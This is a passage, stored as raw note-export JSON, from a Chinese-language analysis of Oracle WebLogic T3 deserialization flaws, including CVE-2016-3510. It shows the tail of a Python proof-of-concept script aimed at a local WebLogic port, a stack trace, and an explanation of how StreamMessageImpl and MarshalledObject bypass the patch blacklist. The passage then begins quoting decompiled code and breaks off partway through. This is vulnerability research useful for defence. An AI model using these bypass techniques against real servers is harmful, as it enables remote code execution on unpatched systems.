socket.timeout:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dh5R-1673857235217&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bEV7-1673857235216&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return False, {&#39;msg&#39;: &#39;connection timeout.&#39;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tGmf-1673857235219&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;S8NE-1673857235218&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tT84-1673857235221&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;B1Bb-1673857235220&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;if __name__ == \&#34;__main__\&#34;:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oWPD-1673857235223&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HVXG-1673857235222&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ip = \&#34;127.0.0.1\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;shQl-1673857235225&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nFn8-1673857235224&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    port = 7001&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rnBz-1673857235227&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0OXI-1673857235226&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    light_up(dip=ip,dport=port)&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;go&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7NEm-1673857548383&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5146/WEBRESOURCE2052105f36885e9f6fc0049a07cc5e08&#34;,&#34;width&#34;:1594,&#34;height&#34;:258},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WenO-1673857524118&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2NKN-1673857524117&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;跟一下代码：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QMkj-1673859739927&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rkAa-1673859739885&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4sek-1673859739884&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readExternal:1396, StreamMessageImpl (weblogic.jms.common)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jyNS-1673859739889&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2C6M-1673859739887&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readExternalData:1835, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VdSC-1673859739891&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AGJJ-1673859739890&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readOrdinaryObject:1794, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m1iD-1673859739893&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W6pI-1673859739892&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject0:1348, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1zw7-1673859739895&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;v65q-1673859739894&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:370, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;adqS-1673859739897&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eDoT-1673859739896&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:66, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;v0iL-1673859739900&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2AK5-1673859739898&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read:38, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XlTr-1673859739902&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LegQ-1673859739901&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Dzck-1673859739904&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gYIB-1673859739903&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;init:213, MsgAbbrevInputStream (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VGCO-1673859739906&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UUD6-1673859739905&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fpuV-1673859739908&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JvaM-1673859739907&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Jyyd-1673859739910&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sWeN-1673859739909&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7goy-1673859739912&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yYra-1673859739911&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocketOnce:967, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cF9H-1673859739914&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eUv5-1673859739913&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocket:899, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PVbM-1673859739916&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zFms-1673859739915&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;processSockets:130, PosixSocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ynlh-1673859739918&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fw1o-1673859739917&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:29, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UIwT-1673859739920&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;M5GU-1673859739919&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:42, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PVRQ-1673859739922&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MUTz-1673859739921&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:145, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NQGz-1673859739924&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fTbn-1673859739923&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:117, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lqcT-1673859739926&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xReg-1673859739925&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;sql&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JMKl-1673860803282&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ujZf-1673860803283&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同样通过InboundMsgAbbrev为入口进行数据的read操作，但由于我们实现了StreamMessageImpl接口，反序列化过程将通过readOrdinaryObject方法调用readExternalData，进而进入到StreamMessageImpl.readExternal中绕过黑名单检测触发二次反序列化。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q6Bk-1673860810473&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5157/WEBRESOURCEac9022c8e018d447a7b9060cf0161306&#34;,&#34;width&#34;:683,&#34;height&#34;:435},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fZRS-1673861233583&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5172/WEBRESOURCEb5d2b8fb70b240fd6b87075d9a01eca2&#34;,&#34;width&#34;:681,&#34;height&#34;:434},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Bi6l-1673861249592&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5174/WEBRESOURCE054963ec8bb5704dade19fbf183c769b&#34;,&#34;width&#34;:677,&#34;height&#34;:432},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qYQV-1673859772464&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5151/WEBRESOURCE60a529a6a8e28583e2e81d2d69f6f95d&#34;,&#34;width&#34;:689,&#34;height&#34;:438},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JVFv-1673857564118&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cFeS-1673857564116&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;从流量特征上看并无太多变化，主要还是weblogic.jms.common.StreamMessageImpl类的出现，而weblogicScaner也是基于response来判断vulnerability：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TUK6-1673861428607&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5179/WEBRESOURCE42fb31ca62eef9f0eda4591387da1b0a&#34;,&#34;width&#34;:599,&#34;height&#34;:516},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kShA-1673861461642&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5181/WEBRESOURCEa39f7080a5a3c049699d5ad93602ad1c&#34;,&#34;width&#34;:585,&#34;height&#34;:501},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pmtt-1673861452247&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GOVh-1673861452248&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ohYC-1673883639127&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nqTf-1673883639125&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2016-3510&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U4Ec-1673883240812&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KP5B-1673883240799&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;影响范围：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VeU6-1673883779995&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;3kEs-1673883779982&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vncG-1673883779996&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 10.3.6.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lnMs-1673883779998&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;3kEs-1673883779982&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PLGv-1673883779999&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.2.1.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vwbd-1673883780000&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;3kEs-1673883779982&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bONz-1673883780001&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6ai1-1673883780003&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;3kEs-1673883779982&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nUAq-1673883780004&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle WebLogic Server 12.1.2.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:4}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6shM-1673883780006&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WYcJ-1673883780007&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞分析：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0E1F-1673883780008&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b3jv-1673883780009&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;同样是对补丁黑名单的绕过，这次使用的是&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;weblogic.corba.utils.MarshalledObject&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;这个类：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gnJb-1673884872397&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Rfsi-1673884872337&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8n9Q-1673884872336&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public MarshalledObject(Object var1) throws IOException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fT2Z-1673884872339&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TQzc-1673884872338&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (var1 == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SkU3-1673884872341&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OOvl-1673884872340&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.hash = 13;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JLg0-1673884872343&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zayc-1673884872342&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jFUB-1673884872345&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CCBw-1673884872344&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ByteArrayOutputStream var2 = new ByteArrayOutputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tEcB-1673884872347&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5atc-1673884872346&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        MarshalledObjectOutputStream var3 = new MarshalledObjectOutputStream(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G32e-1673884872349&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qd9y-1673884872348&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3.writeObject(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xm3T-1673884872351&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HqsD-1673884872350&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3.flush();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m3lX-1673884872353&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pKqW-1673884872352&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.objBytes = var2.toByteArray();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5fOw-1673884872355&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;K19o-1673884872354&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        int var4 = 0;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G85q-1673884872357&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xU1p-1673884872356&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;V4l2-1673884872359&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gngO-1673884872358&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        for(int var5 = 0; var5 &lt; this.objBytes.length; ++var5) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XlEY-1673884872361&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z522-1673884872360&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var4 = 31 * var4 + this.objBytes[var5];&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;13ln-1673884872363&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZaAI-1673884872362&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q7Kw-1673884872365&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1Psv-1673884872364&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mb1c-1673884872367&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DXwZ-1673884872366&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.hash = var4;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sUrx-1673884872370&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fpbH-1673884872369&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    